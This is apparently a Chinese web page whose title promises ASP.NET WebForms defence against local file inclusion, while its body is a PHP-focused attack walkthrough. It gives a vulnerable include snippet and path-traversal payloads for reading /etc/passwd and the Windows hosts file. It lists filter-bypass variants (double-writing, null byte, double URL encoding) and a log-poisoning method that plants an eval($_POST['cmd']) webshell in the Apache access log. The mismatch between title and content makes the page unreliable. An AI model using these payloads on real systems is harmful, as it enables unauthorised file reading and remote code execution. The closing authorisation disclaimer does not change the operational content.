如何在ASP.NET WebForms中防范LFI本地文件包含漏洞
LFI漏洞实操测试指南及示例
存在LFI漏洞的典型代码示例
最常见的LFI漏洞出现在PHP开发的系统中,以下是存在漏洞的最简代码:
<?php // 直接接收用户传入的page参数,未做任何路径校验就执行文件包含 $include_file = $_GET['page']; include($include_file); ?>
当用户传入的page参数可控且无过滤时,就可以构造路径读取任意系统文件,甚至getshell。
实操测试步骤
- 步骤1:定位可能的漏洞传参点
优先排查和页面加载、路径读取相关的参数,常见参数名包括page、module、path、file、doc等,参数位置可能出现在URL查询串、POST请求体、Cookie值中。 - 步骤2:基础有效性验证
构造路径遍历payload读取系统通用文件,确认漏洞是否存在:- Linux系统测试payload:
?page=../../../../etc/passwd - Windows系统测试payload:
?page=../../../../windows/system32/drivers/etc/hosts
如果页面正常返回上述系统文件的内容,即可确认LFI漏洞存在。
- Linux系统测试payload:
- 步骤3:常见过滤绕过方法
如果基础payload触发拦截,可尝试以下变种payload:- 双写绕过(适用于过滤
../字符串的场景):?page=....//....//....//etc/passwd - 绝对路径直接调用:
?page=/etc/passwd - 空字节截断(仅适用于PHP 5.3及以下旧版本):
?page=../../../../etc/passwd%00 - URL编码绕过:将
../做URL编码后传入,单次编码为%2e%2e%2f,二次编码为%252e%252e%252f
- 双写绕过(适用于过滤
- 步骤4:进阶利用操作
确认漏洞存在后可尝试getshell,最常用的是日志包含方法:
先构造包含webshell代码的请求,比如访问?page=<?php eval($_POST['cmd']);?>,让访问日志写入这段PHP代码,再构造payload包含对应服务的日志文件即可,Apache服务默认日志路径通常为/var/log/apache2/access.log。
注意:所有漏洞测试必须在已获得正式授权的靶场或自有业务系统上开展,未授权测试属于违反法律法规的行为。
内容的提问来源于stack exchange,提问作者Sachin Reddy
相关产品推荐
相关产品推荐

